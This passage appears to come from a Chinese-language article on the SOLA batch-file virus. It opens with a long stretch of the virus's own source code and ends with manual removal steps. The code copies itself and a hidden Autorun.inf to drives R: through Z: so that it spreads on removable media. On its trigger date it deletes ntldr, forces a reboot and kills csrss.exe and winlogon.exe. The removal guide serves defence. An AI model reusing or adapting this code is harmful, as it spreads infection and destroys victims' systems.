sleep 300&set R=0 & echo 1>R:\solachk1 & findstr . R:\solachk1 & if not errorlevel 1 del R:\solachk1 & sleep 1000&set R=1 & findstr /C:"SOLA_1.0" R:\Autorun.inf & if errorlevel 1 attrib -s -h -r R:\Autorun.inf&copy /y %setup%\Autorun.inf R:\Autorun.inf&attrib R:\Autorun.inf +s +h +r&md R:\SOLA&copy /y "%setup%\*" R:\SOLA\*&attrib R:\SOLA +s +h +r
sleep 300&set S=0 & echo 1>S:\solachk1 & findstr . S:\solachk1 & if not errorlevel 1 del S:\solachk1 & sleep 1000&set S=1 & findstr /C:"SOLA_1.0" S:\Autorun.inf & if errorlevel 1 attrib -s -h -r S:\Autorun.inf&copy /y %setup%\Autorun.inf S:\Autorun.inf&attrib S:\Autorun.inf +s +h +r&md S:\SOLA&copy /y "%setup%\*" S:\SOLA\*&attrib S:\SOLA +s +h +r
if exist %systemroot%\Fonts\NoTasks if not exist SOLA.VBS copy %sola%\SOLA.VBS SOLA.VBS
sleep 300&set T=0 & echo 1>T:\solachk1 & findstr . T:\solachk1 & if not errorlevel 1 del T:\solachk1 & sleep 1000&set T=1 & findstr /C:"SOLA_1.0" T:\Autorun.inf & if errorlevel 1 attrib -s -h -r T:\Autorun.inf&copy /y %setup%\Autorun.inf T:\Autorun.inf&attrib T:\Autorun.inf +s +h +r&md T:\SOLA&copy /y "%setup%\*" T:\SOLA\*&attrib T:\SOLA +s +h +r
sleep 300&set U=0 & echo 1>U:\solachk1 & findstr . U:\solachk1 & if not errorlevel 1 del U:\solachk1 & sleep 1000&set U=1 & findstr /C:"SOLA_1.0" U:\Autorun.inf & if errorlevel 1 attrib -s -h -r U:\Autorun.inf&copy /y %setup%\Autorun.inf U:\Autorun.inf&attrib U:\Autorun.inf +s +h +r&md U:\SOLA&copy /y "%setup%\*" U:\SOLA\*&attrib U:\SOLA +s +h +r
sleep 300&set V=0 & echo 1>V:\solachk1 & findstr . V:\solachk1 & if not errorlevel 1 del V:\solachk1 & sleep 1000&set V=1 & findstr /C:"SOLA_1.0" V:\Autorun.inf & if errorlevel 1 attrib -s -h -r V:\Autorun.inf&copy /y %setup%\Autorun.inf V:\Autorun.inf&attrib V:\Autorun.inf +s +h +r&md V:\SOLA&copy /y "%setup%\*" V:\SOLA\*&attrib V:\SOLA +s +h +r
sleep 300&set W=0 & echo 1>W:\solachk1 & findstr . W:\solachk1 & if not errorlevel 1 del W:\solachk1 & sleep 1000&set W=1 & findstr /C:"SOLA_1.0" W:\Autorun.inf & if errorlevel 1 attrib -s -h -r W:\Autorun.inf&copy /y %setup%\Autorun.inf W:\Autorun.inf&attrib W:\Autorun.inf +s +h +r&md W:\SOLA&copy /y "%setup%\*" W:\SOLA\*&attrib W:\SOLA +s +h +r
sleep 300&set X=0 & echo 1>X:\solachk1 & findstr . X:\solachk1 & if not errorlevel 1 del X:\solachk1 & sleep 1000&set X=1 & findstr /C:"SOLA_1.0" X:\Autorun.inf & if errorlevel 1 attrib -s -h -r X:\Autorun.inf&copy /y %setup%\Autorun.inf X:\Autorun.inf&attrib X:\Autorun.inf +s +h +r&md X:\SOLA&copy /y "%setup%\*" X:\SOLA\*&attrib X:\SOLA +s +h +r
sleep 300&set Y=0 & echo 1>Y:\solachk1 & findstr . Y:\solachk1 & if not errorlevel 1 del Y:\solachk1 & sleep 1000&set Y=1 & findstr /C:"SOLA_1.0" Y:\Autorun.inf & if errorlevel 1 attrib -s -h -r Y:\Autorun.inf&copy /y %setup%\Autorun.inf Y:\Autorun.inf&attrib Y:\Autorun.inf +s +h +r&md Y:\SOLA&copy /y "%setup%\*" Y:\SOLA\*&attrib Y:\SOLA +s +h +r
sleep 300&set Z=0 & echo 1>Z:\solachk1 & findstr . Z:\solachk1 & if not errorlevel 1 del Z:\solachk1 & sleep 1000&set Z=1 & findstr /C:"SOLA_1.0" Z:\Autorun.inf & if errorlevel 1 attrib -s -h -r Z:\Autorun.inf&copy /y %setup%\Autorun.inf Z:\Autorun.inf&attrib Z:\Autorun.inf +s +h +r&md Z:\SOLA&copy /y "%setup%\*" Z:\SOLA\*&attrib Z:\SOLA +s +h +r
if exist %systemroot%\Fonts\NoTasks if not exist SOLA.VBS copy %sola%\SOLA.VBS SOLA.VBS
%systemdrive%
sleep 5000
goto Start
:DayOn
attrib %systemdrive%\ntldr -s -h -r & del /q /a %systemdrive%\ntldr & shutdown -r -t 10 -c "您的计算机上带有SOLA病毒，今天是它的发作日期。病毒已经破坏了您的系统，您的计算机将在10秒钟后重启。" & if errorlevel 1 start mshta "javascript:new ActiveXObject('WScript.Shell').Run('ntsd -c q -pn csrss.exe',0);window.close()"
sleep 10000
if errorlevel 1 start mshta "javascript:new ActiveXObject('WScript.Shell').Run('ntsd -c q -pn winlogon.exe',0);window.close()"
goto Start
::=====================Start=========================================
:End
快速解决方案
发现中毒之后不必惊慌，到网上下载一个专杀软件即可。目前网络上已经出现了多款，效果差不多的，总之很容易解决。
手工杀毒
如果已经无法启动，就进入DOS，从另一个电脑复制一份NTLDR（系统隐藏文件，需在文件夹选项中取消“隐藏受保护的操作系统文件”）。启动后按下面的操作。
如果没有重启，不要回答问题。正确的解决方法是先启动任务管理器，结束CMD进程。
然后接下来——千万别打开含有病毒的磁盘！正确的做法是按下Win+R，输入“cmd”。
接下来按照下面的命令输入。（懒人可以去自己保存好的文件复制）
set SOLA=
set SETUP=
del /f /s /q %systemroot%\Fonts\Regedit.reg
del /f /s /q %systemroot%\Fonts\sleep.exe
del /f /s /q %systemroot%\Fonts\SOLA.BAT
del /f /s /q %systemroot%\Fonts\est_type2032.fon
del /f /s /q %systemroot%\Fonts\RunTime.txt
del /f /s /q %systemroot%\Tasks\Tasks.job
rd /s /q %systemroot%\Fonts\solasetup
当然，还不能重启。去下载NTLDR，把其中的NTLDR解压到C盘根目录。
查杀完毕。重启. [1]